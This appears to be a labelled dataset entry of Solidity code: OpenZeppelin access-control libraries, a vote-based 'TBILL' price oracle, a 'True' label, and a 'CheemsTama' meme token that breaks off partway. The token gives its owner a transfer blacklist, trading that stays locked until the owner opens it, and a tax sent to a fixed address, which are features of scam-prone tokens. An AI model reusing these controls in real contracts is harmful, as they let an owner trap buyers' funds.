* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
// TBILL Universal Oracle
// Based on ChainBridge voting.
pragma solidity 0.8.10;
import "openzeppelin43/access/AccessControl.sol";
import "openzeppelin43/security/Pausable.sol";
/**
* @title TBILL Universal Oracle
* @notice Oracles vote on proposals using keccack256 data hash.
* @notice After vote threshold is met, execute should be called with the full data
* @notice within the expiration period to fire the onExecute function
* @notice with the data less the proposalNumber header.
*/
abstract contract TOracle is Pausable, AccessControl {
enum Vote {No, Yes}
enum ProposalStatus {Inactive, Active, Passed, Executed, Cancelled}
struct Proposal {
ProposalStatus _status;
bytes32 _dataHash;
address[] _yesVotes;
uint256 _proposedBlock;
}
event VoteThresholdChanged(uint256 indexed newThreshold);
event OracleAdded(address indexed oracle);
event OracleRemoved(address indexed oracle);
event ProposalEvent(
uint32 indexed proposalNumber,
ProposalStatus indexed status,
bytes32 dataHash
);
event ProposalVote(
uint32 indexed proposalNumber,
ProposalStatus indexed status
);
bytes32 public constant ORACLE_ROLE = keccak256("ORACLE_ROLE");
uint256 public _voteThreshold; //number of votes required to pass a proposal
uint256 public _expiry; //blocks after which to expire proposals
uint256 public _totalOracles; //number of oracles
uint256 public _executedCount;
// proposalNumber => dataHash => Proposal, where proposalNumber is executedCount+1
mapping(uint32 => mapping(bytes32 => Proposal)) public _proposals;
// proposalNumber => dataHash => oracleAddress => bool, where proposalNumber is executedCount+1
mapping(uint32 => mapping(bytes32 => mapping(address => bool))) public _hasVotedOnProposal;
uint256[50] private ______gap; //leave space for upgrades;
modifier onlyAdmin() {
_onlyAdmin();
_;
}
modifier onlyAdminOrOracle() {
_onlyAdminOrOracle();
_;
}
modifier onlyOracles() {
_onlyOracles();
_;
}
modifier onlySelf(){
_onlySelf();
_;
}
function _onlyAdminOrOracle() private view {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender) || hasRole(ORACLE_ROLE, msg.sender),
"sender is not oracle or admin"
);
}
function _onlyAdmin() private view {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "sender doesn't have admin role");
}
function _onlyOracles() private view {
require(hasRole(ORACLE_ROLE, msg.sender), "sender doesn't have oracle role");
}
function _onlySelf() private view {
require(msg.sender == address(this), "Only self can call");
}
/**
@notice Initializes oracle, creates and grants admin role, creates and grants oracle role.
@param initialVoteThreshold Number of votes required to pass proposal.
@param expiry Number of blocks after which an unexecuted proposal is cancelled.
@param initialOracles Addresses that should be allowed to vote on proposals.
*/
constructor(
uint256 initialVoteThreshold,
uint256 expiry,
address[] memory initialOracles
){
_voteThreshold = initialVoteThreshold;
_expiry = expiry;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setRoleAdmin(ORACLE_ROLE, DEFAULT_ADMIN_ROLE);
for (uint256 i; i < initialOracles.length; i++){
grantRole(ORACLE_ROLE, initialOracles[i]);
}
_totalOracles = initialOracles.length;
}
/**
@notice Returns true if {checkAddress} has the oracle role.
@param checkAddress Address to check.
*/
function isOracle(address checkAddress) external view returns (bool) {
return hasRole(ORACLE_ROLE, checkAddress);
}
/**
@notice Removes admin role from {msg.sender} and grants it to {newAdmin}.
@notice Only callable by an address that currently has the admin role.
@param newAdmin Address that admin role will be granted to.
*/
function renounceAdmin(address newAdmin) external onlyAdmin {
grantRole(DEFAULT_ADMIN_ROLE, newAdmin);
renounceRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
@notice Pauses executions, proposal creation and voting.
@notice Only callable by an address that currently has the admin role.
*/
function adminPause() external onlyAdmin {
_pause();
}
/**
@notice Unpauses executions, proposal creation and voting.
@notice Only callable by an address that currently has the admin role.
*/
function adminUnpause() external onlyAdmin {
_unpause();
}
/**
@notice Modifies the number of votes required for a proposal to be considered passed.
@notice Only callable by an address that currently has the admin role.
@param newThreshold Value {_voteThreshold} will be changed to.
@notice Emits {VoteThresholdChanged} event.
*/
function adminChangeVoteThreshold(uint256 newThreshold) external onlyAdmin {
_voteThreshold = newThreshold;
emit VoteThresholdChanged(newThreshold);
}
/**
@notice Grants {oracleAddress} the oracle role and increases {_totalOracles} count.
@notice Only callable by an address that currently has the admin role.
@param oracleAddress Address of oracle to be added.
@notice Emits {OracleAdded} event.
*/
function adminAddOracle(address oracleAddress) external onlyAdmin {
require(!hasRole(ORACLE_ROLE, oracleAddress), "addr already has oracle role!");
grantRole(ORACLE_ROLE, oracleAddress);
emit OracleAdded(oracleAddress);
_totalOracles++;
}
/**
@notice Removes oracle role for {oracleAddress} and decreases {_totalOracles} count.
@notice Only callable by an address that currently has the admin role.
@param oracleAddress Address of oracle to be removed.
@notice Emits {OracleRemoved} event.
*/
function adminRemoveOracle(address oracleAddress) external onlyAdmin {
require(hasRole(ORACLE_ROLE, oracleAddress), "addr doesn't have oracle role!");
revokeRole(ORACLE_ROLE, oracleAddress);
emit OracleRemoved(oracleAddress);
_totalOracles--;
}
/**
@notice Returns a proposal.
@param proposalNumber The number of proposals that will have been completed if this proposal is executed (_executedCount+1).
@param dataHash Hash of data that will be provided when proposal is sent for execution.
@return Proposal which consists of:
- _dataHash Hash of data to be provided when deposit proposal is executed.
- _yesVotes Number of votes in favor of proposal.
- _proposedBlock
- _status Current status of proposal.
*/
function getProposal(
uint32 proposalNumber,
bytes32 dataHash
) external view returns (Proposal memory) {
return _proposals[proposalNumber][dataHash];
}
/**
@notice When called, {msg.sender} will be marked as voting in favor of proposal.
@notice Only callable by oracles when is not paused.
@param proposalNumber The number of proposals that will have been completed if this proposal is executed (_executedCount+1).
@param dataHash Hash of encodePacked data that will be provided when proposal is sent for execution.
@notice Proposal must not have already been passed or executed.
@notice {msg.sender} must not have already voted on proposal.
@notice Emits {ProposalEvent} event with status indicating the proposal status.
@notice Emits {ProposalVote} event.
*/
function voteProposal(uint32 proposalNumber, bytes32 dataHash) external onlyOracles whenNotPaused {
Proposal storage proposal = _proposals[proposalNumber][dataHash];
//proposal already passed/executed/cancelled
if (proposal._status > ProposalStatus.Active) return;
require(!_hasVotedOnProposal[proposalNumber][dataHash][msg.sender], "oracle already voted");
if (proposal._status == ProposalStatus.Inactive) {
_proposals[proposalNumber][dataHash] = Proposal({
_dataHash: dataHash,
_yesVotes: new address[](1),
_status: ProposalStatus.Active,
_proposedBlock: block.number
});
proposal._yesVotes[0] = msg.sender;
emit ProposalEvent(proposalNumber, ProposalStatus.Active, dataHash);
} else {
if (block.number - proposal._proposedBlock > _expiry) {
// if the number of blocks that has passed since this proposal was
// submitted exceeds the expiry threshold set, cancel the proposal
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(
proposalNumber,
ProposalStatus.Cancelled,
dataHash
);
} else {
require(dataHash == proposal._dataHash, "datahash mismatch");
proposal._yesVotes.push(msg.sender);
}
}
if (proposal._status != ProposalStatus.Cancelled) {
_hasVotedOnProposal[proposalNumber][dataHash][msg.sender] = true;
emit ProposalVote(proposalNumber, proposal._status);
// If _depositThreshold is set to 1, then auto finalize
// or if _relayerThreshold has been exceeded
if (_voteThreshold <= 1 || proposal._yesVotes.length >= _voteThreshold) {
proposal._status = ProposalStatus.Passed;
emit ProposalEvent(
proposalNumber,
ProposalStatus.Passed,
dataHash
);
}
}
}
/**
@notice Cancels an expired proposal that has not yet been marked as cancelled.
@notice Only callable by oracles or admin.
@param proposalNumber The number of proposal executions that would have been completed if this proposal had been executed (_executedCount+1).
@param dataHash Hash of encodePacked data originally provided when proposal was made.
@notice Proposal must be past expiry threshold.
@notice Emits {ProposalEvent} event with status {Cancelled}.
*/
function cancelProposal(
uint32 proposalNumber,
bytes32 dataHash
) public onlyAdminOrOracle {
Proposal storage proposal = _proposals[proposalNumber][dataHash];
require(proposal._status != ProposalStatus.Cancelled, "Proposal already cancelled");
require(
block.number - proposal._proposedBlock > _expiry,
"Proposal not at expiry threshold"
);
proposal._status = ProposalStatus.Cancelled;
emit ProposalEvent(
proposalNumber,
ProposalStatus.Cancelled,
proposal._dataHash
);
}
/**
@notice Executes a proposal that is considered passed.
@notice Only callable by oracles when not paused.
@param proposalNumber The number of proposal executions that will have been completed when this proposal is executed (_executedCount+1).
@param data abi-encode-packed resourceID, proposalNumber, and data to pass on to handler specified by resourceID lookup.
@notice Proposal must have "Passed" status.
@notice Hash of {data} must equal proposal's {dataHash}.
@notice Emits {ProposalEvent} event with status {Executed}.
*/
function executeProposal(
uint32 proposalNumber,
bytes calldata data
) external onlyOracles whenNotPaused {
bytes32 dataHash = keccak256(data);
Proposal storage proposal = _proposals[proposalNumber][dataHash];
require(proposal._status != ProposalStatus.Inactive, "proposal is not active");
require(proposal._status == ProposalStatus.Passed, "proposal already executed, cancelled, or not yet passed");
require(dataHash == proposal._dataHash, "data doesn't match datahash");
require(proposalNumber == uint32(bytes4(data[:4])), "proposalNumber<>data mismatch");
proposal._status = ProposalStatus.Executed;
++_executedCount;
onExecute(data[4:]);
emit ProposalEvent(
proposalNumber,
ProposalStatus.Executed,
dataHash
);
}
function onExecute(bytes calldata data) internal virtual;
/**
@notice Transfers native currency in the contract to the specified addresses. The parameters addrs and amounts are mapped 1:1.
This means that the address at index 0 for addrs will receive the amount (in WEI/ticks) from amounts at index 0.
@param addrs Array of addresses to transfer {amounts} to.
@param amounts Array of amonuts to transfer to {addrs}.
*/
function transferFunds(address payable[] calldata addrs, uint256[] calldata amounts)
external
onlyAdmin
{
for (uint256 i = 0; i < addrs.length; i++) {
addrs[i].transfer(amounts[i]);
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.10;
import "./TOracle.sol";
interface IOracle {
function getData() external view returns (uint256, bool);
}
/**
* @title TBILL Price Oracle
*/
contract TBillPriceOracle is TOracle, IOracle {
event UpdatedAvgPrice(
uint256 price,
bool valid
);
uint256 private constant VALIDITY_MASK = 2**(256-1);
uint256 private constant PRICE_MASK = VALIDITY_MASK-1;
uint8 public constant decimals = 18;
uint256 private _tbillAvgPriceAndValidity; //1 bit validity then 255 bit price; updated ONLY daily. for more up-to-date info, view PriceRecords
constructor(
uint256 initialTbillPrice,
uint256 initialVoteThreshold, uint256 expiry, address[] memory initialOracles
)
TOracle(initialVoteThreshold, expiry, initialOracles)
{
_tbillAvgPriceAndValidity = initialTbillPrice;
}
function getData() external view returns (uint256 price, bool valid) {
price = _tbillAvgPriceAndValidity & PRICE_MASK;
valid = _tbillAvgPriceAndValidity & VALIDITY_MASK > 0;
}
function getTBillLastPrice() external view returns (uint256 price) {
price = _tbillAvgPriceAndValidity & PRICE_MASK;
}
function getTBillLastPriceValid() external view returns (bool valid) {
valid = _tbillAvgPriceAndValidity & VALIDITY_MASK > 0;
}
/**
@notice should only be called by executeProposal, which has already verified the dataHash.
*/
function onExecute(bytes calldata data) internal override {
uint256 tbillAvgPriceAndValidity = uint256(bytes32(data[:32]));
uint256 price = tbillAvgPriceAndValidity & PRICE_MASK;
bool valid = tbillAvgPriceAndValidity & VALIDITY_MASK > 0;
_tbillAvgPriceAndValidity = tbillAvgPriceAndValidity;
emit UpdatedAvgPrice(price, valid);
}
}
|
True
|
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] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^ 0.8 .4;
abstract contract Context {
function _msgSender() internal view virtual returns(address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns(uint256);
function transfer(address recipient, uint256 amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint256);
function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns(uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns(address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns(address);
function WETH() external pure returns(address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns(
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract cheemstama is Context, IERC20, Ownable {
using SafeMath
for uint256;
string private constant _name = "CheemsTama";
string private constant _symbol = "CheemsTama";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x44bA5786b8FA634a0064600549D63AD03a7B664c);
address payable private _marketingAddress = payable(0x44bA5786b8FA634a0064600549D63AD03a7B664c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10 ** 9; //1%
uint256 public _maxWalletSize = 10000 * 10 ** 9; //1%
uint256 public _swapTokensAtAmount = 1000 * 10 ** 9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns(string memory) {
return _name;
}
function symbol() public pure returns(string memory) {
return _symbol;
}
function decimals() public pure returns(uint8) {
return _decimals;
}
function totalSupply() public pure override returns(uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns(uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns(uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns(bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns(uint256) {
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if (to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (contractTokenBalance >= _maxTxAmount) {
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
